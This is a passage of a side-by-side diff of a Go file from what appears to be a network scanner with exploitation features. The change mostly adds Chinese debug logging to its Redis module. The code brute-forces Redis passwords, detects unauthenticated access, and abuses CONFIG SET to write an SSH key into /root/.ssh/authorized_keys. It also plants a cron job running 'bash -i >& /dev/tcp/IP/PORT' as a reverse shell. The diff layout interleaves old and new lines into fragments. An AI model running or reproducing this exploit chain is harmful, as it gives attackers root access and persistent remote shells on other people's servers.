||||||
// 等待所有线程完成
|
break // 如果不需要重试,跳出重试循环
|
||||||
go func() {
|
}
|
||||||
wg.Wait()
|
|
||||||
close(resultChan)
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 检查结果
|
// 如果最后一次尝试遇到需要重试的错误,返回该错误
|
||||||
for err := range resultChan {
|
if lastErr != nil && Common.CheckErrs(lastErr) != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr))
|
||||||
tmperr = err
|
return lastErr
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return tmperr
|
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports))
|
||||||
}
|
return nil
|
||||||
|
|
||||||
// RedisConn 尝试Redis连接
|
|
||||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
|
|
||||||
// 建立TCP连接
|
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// 设置超时
|
|
||||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 发送认证命令
|
|
||||||
if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 读取响应
|
|
||||||
reply, err := readreply(conn)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 认证成功
|
|
||||||
if strings.Contains(reply, "+OK") {
|
|
||||||
// 获取配置信息
|
|
||||||
dbfilename, dir, err = getconfig(conn)
|
|
||||||
if err != nil {
|
|
||||||
result := fmt.Sprintf("Redis %s %s", realhost, pass)
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return true, err
|
|
||||||
}
|
|
||||||
|
|
||||||
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
|
|
||||||
// 尝试利用
|
|
||||||
err = Expoilt(realhost, conn)
|
|
||||||
return true, err
|
|
||||||
}
|
|
||||||
|
|
||||||
return false, err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// RedisUnauth 尝试Redis未授权访问检测
|
// RedisUnauth 尝试Redis未授权访问检测
|
||||||
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||||
flag = false
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
|
||||||
|
|
||||||
// 建立TCP连接
|
// 建立TCP连接
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
||||||
return flag, err
|
return false, err
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
|
||||||
// 设置读取超时
|
// 设置读取超时
|
||||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
||||||
return flag, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送info命令测试未授权访问
|
// 发送info命令测试未授权访问
|
||||||
_, err = conn.Write([]byte("info\r\n"))
|
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("info\r\n")); err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||||
return flag, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
// 读取响应
|
||||||
reply, err := readreply(conn)
|
reply, err := readreply(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||||
return flag, err
|
return false, err
|
||||||
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||||
|
|
||||||
|
// 检查未授权访问
|
||||||
|
if !strings.Contains(reply, "redis_version") {
|
||||||
|
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
|
||||||
|
return false, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 判断是否存在未授权访问
|
// 发现未授权访问,获取配置
|
||||||
if strings.Contains(reply, "redis_version") {
|
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
|
||||||
flag = true
|
dbfilename, dir, err := getconfig(conn)
|
||||||
// 获取Redis配置信息
|
if err != nil {
|
||||||
|
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||||
|
Common.LogSuccess(result)
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 输出详细信息
|
||||||
|
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||||
|
Common.LogSuccess(result)
|
||||||
|
|
||||||
|
// 尝试漏洞利用
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
|
||||||
|
if err = Expoilt(realhost, conn); err != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RedisConn 尝试Redis连接
|
||||||
|
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||||
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
|
||||||
|
|
||||||
|
// 建立TCP连接
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 设置超时
|
||||||
|
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送认证命令
|
||||||
|
authCmd := fmt.Sprintf("auth %s\r\n", pass)
|
||||||
|
Common.LogDebug("发送认证命令")
|
||||||
|
if _, err = conn.Write([]byte(authCmd)); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取响应
|
||||||
|
reply, err := readreply(conn)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
|
||||||
|
|
||||||
|
// 认证成功
|
||||||
|
if strings.Contains(reply, "+OK") {
|
||||||
|
Common.LogDebug("认证成功,获取配置信息")
|
||||||
|
|
||||||
|
// 获取配置信息
|
||||||
dbfilename, dir, err = getconfig(conn)
|
dbfilename, dir, err = getconfig(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
|
||||||
Common.LogSuccess(result)
|
Common.LogSuccess(result)
|
||||||
return flag, err
|
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
|
||||||
|
return true, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 输出详细信息
|
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
|
||||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
realhost, pass, dir, dbfilename)
|
||||||
Common.LogSuccess(result)
|
Common.LogSuccess(result)
|
||||||
|
|
||||||
// 尝试漏洞利用
|
// 尝试利用
|
||||||
|
Common.LogDebug("尝试Redis利用")
|
||||||
err = Expoilt(realhost, conn)
|
err = Expoilt(realhost, conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
|
||||||
}
|
}
|
||||||
|
return true, err
|
||||||
}
|
}
|
||||||
|
|
||||||
return flag, err
|
Common.LogDebug("认证失败")
|
||||||
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Expoilt 尝试Redis漏洞利用
|
// Expoilt 尝试Redis漏洞利用
|
||||||
func Expoilt(realhost string, conn net.Conn) error {
|
func Expoilt(realhost string, conn net.Conn) error {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
|
||||||
|
|
||||||
// 如果配置为不进行测试则直接返回
|
// 如果配置为不进行测试则直接返回
|
||||||
if Common.DisableRedis {
|
if Common.DisableRedis {
|
||||||
|
Common.LogDebug("Redis漏洞利用已禁用")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试目录写入权限
|
// 测试目录写入权限
|
||||||
|
Common.LogDebug("测试目录写入权限")
|
||||||
flagSsh, flagCron, err := testwrite(conn)
|
flagSsh, flagCron, err := testwrite(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
||||||
@ -256,6 +264,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
|
|
||||||
// 如果指定了密钥文件则尝试写入
|
// 如果指定了密钥文件则尝试写入
|
||||||
if Common.RedisFile != "" {
|
if Common.RedisFile != "" {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
|
||||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||||
@ -267,7 +276,11 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
} else {
|
} else {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("未指定SSH密钥文件,跳过写入")
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("SSH目录不可写")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 定时任务写入测试
|
// 定时任务写入测试
|
||||||
@ -276,6 +289,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
|
|
||||||
// 如果指定了shell命令则尝试写入定时任务
|
// 如果指定了shell命令则尝试写入定时任务
|
||||||
if Common.RedisShell != "" {
|
if Common.RedisShell != "" {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
|
||||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
||||||
@ -287,76 +301,94 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
} else {
|
} else {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("未指定shell命令,跳过写入定时任务")
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("Cron目录不可写")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 恢复数据库配置
|
// 恢复数据库配置
|
||||||
|
Common.LogDebug("开始恢复数据库配置")
|
||||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("数据库配置恢复成功")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// writekey 向Redis写入SSH密钥
|
// writekey 向Redis写入SSH密钥
|
||||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
|
||||||
flag = false
|
flag = false
|
||||||
|
|
||||||
// 设置文件目录为SSH目录
|
// 设置文件目录为SSH目录
|
||||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
Common.LogDebug("设置目录: /root/.ssh/")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 设置文件名为authorized_keys
|
// 设置文件名为authorized_keys
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
Common.LogDebug("设置文件名: authorized_keys")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取并写入SSH密钥
|
// 读取并写入SSH密钥
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
// 读取密钥文件
|
// 读取密钥文件
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
|
||||||
key, err := Readfile(filename)
|
key, err := Readfile(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||||
|
Common.LogDebug(text)
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if len(key) == 0 {
|
if len(key) == 0 {
|
||||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||||
|
Common.LogDebug(text)
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
|
||||||
|
|
||||||
// 写入密钥
|
// 写入密钥
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
Common.LogDebug("写入密钥内容")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 保存更改
|
// 保存更改
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte("save\r\n"))
|
Common.LogDebug("保存更改")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
|
Common.LogDebug("SSH密钥写入成功")
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -368,45 +400,51 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
if len(text) > 50 {
|
if len(text) > 50 {
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// writecron 向Redis写入定时任务
|
// writecron 向Redis写入定时任务
|
||||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
|
||||||
flag = false
|
flag = false
|
||||||
|
|
||||||
// 首先尝试Ubuntu系统的cron路径
|
// 首先尝试Ubuntu系统的cron路径
|
||||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
|
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
||||||
if !strings.Contains(text, "OK") {
|
if !strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果成功设置目录,继续后续操作
|
// 如果成功设置目录,继续后续操作
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
|
Common.LogDebug("成功设置cron目录")
|
||||||
|
|
||||||
// 设置数据库文件名为root
|
// 设置数据库文件名为root
|
||||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
Common.LogDebug("设置文件名: root")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -414,33 +452,38 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|||||||
// 解析目标主机地址
|
// 解析目标主机地址
|
||||||
target := strings.Split(host, ":")
|
target := strings.Split(host, ":")
|
||||||
if len(target) < 2 {
|
if len(target) < 2 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
|
||||||
return flag, "主机地址格式错误", err
|
return flag, "主机地址格式错误", err
|
||||||
}
|
}
|
||||||
scanIp, scanPort := target[0], target[1]
|
scanIp, scanPort := target[0], target[1]
|
||||||
|
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
|
||||||
|
|
||||||
// 写入反弹shell的定时任务
|
// 写入反弹shell的定时任务
|
||||||
|
Common.LogDebug("写入定时任务")
|
||||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
||||||
scanIp, scanPort)
|
scanIp, scanPort)
|
||||||
_, err = conn.Write([]byte(cronCmd))
|
if _, err = conn.Write([]byte(cronCmd)); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 保存更改
|
// 保存更改
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte("save\r\n"))
|
Common.LogDebug("保存更改")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
if text, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
|
Common.LogDebug("定时任务写入成功")
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -452,14 +495,17 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|||||||
if len(text) > 50 {
|
if len(text) > 50 {
|
||||||
text = text[:50]
|
text = text[:50]
|
||||||
}
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Readfile 读取文件内容并返回第一个非空行
|
// Readfile 读取文件内容并返回第一个非空行
|
||||||
func Readfile(filename string) (string, error) {
|
func Readfile(filename string) (string, error) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
|
||||||
|
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
@ -468,82 +514,89 @@ func Readfile(filename string) (string, error) {
|
|||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
text := strings.TrimSpace(scanner.Text())
|
||||||
if text != "" {
|
if text != "" {
|
||||||
|
Common.LogDebug("找到非空行")
|
||||||
return text, nil
|
return text, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Common.LogDebug("文件内容为空")
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
|
|
||||||
// readreply 读取Redis服务器响应
|
// readreply 读取Redis服务器响应
|
||||||
func readreply(conn net.Conn) (string, error) {
|
func readreply(conn net.Conn) (string, error) {
|
||||||
|
Common.LogDebug("读取Redis响应")
|
||||||
// 设置1秒读取超时
|
// 设置1秒读取超时
|
||||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||||
|
|
||||||
bytes, err := io.ReadAll(conn)
|
bytes, err := io.ReadAll(conn)
|
||||||
// 如果读取到内容则不返回错误
|
|
||||||
if len(bytes) > 0 {
|
if len(bytes) > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
|
||||||
err = nil
|
err = nil
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("未收到响应数据")
|
||||||
}
|
}
|
||||||
return string(bytes), err
|
return string(bytes), err
|
||||||
}
|
}
|
||||||
|
|
||||||
// testwrite 测试Redis写入权限
|
// testwrite 测试Redis写入权限
|
||||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||||
fmt.Println("开始测试Redis写入权限...")
|
Common.LogDebug("开始测试Redis写入权限")
|
||||||
|
|
||||||
// 测试SSH目录写入权限
|
// 测试SSH目录写入权限
|
||||||
fmt.Println("正在测试 /root/.ssh/ 目录写入权限...")
|
Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
|
||||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
|
||||||
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
|
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
text, err := readreply(conn)
|
text, err := readreply(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
|
Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
fmt.Printf("SSH目录测试响应: %s\n", text)
|
Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
flag = true
|
flag = true
|
||||||
fmt.Println("SSH目录写入权限测试成功")
|
Common.LogDebug("SSH目录可写")
|
||||||
} else {
|
} else {
|
||||||
fmt.Println("SSH目录写入权限测试失败")
|
Common.LogDebug("SSH目录不可写")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试定时任务目录写入权限
|
// 测试定时任务目录写入权限
|
||||||
fmt.Println("正在测试 /var/spool/cron/ 目录写入权限...")
|
Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
|
||||||
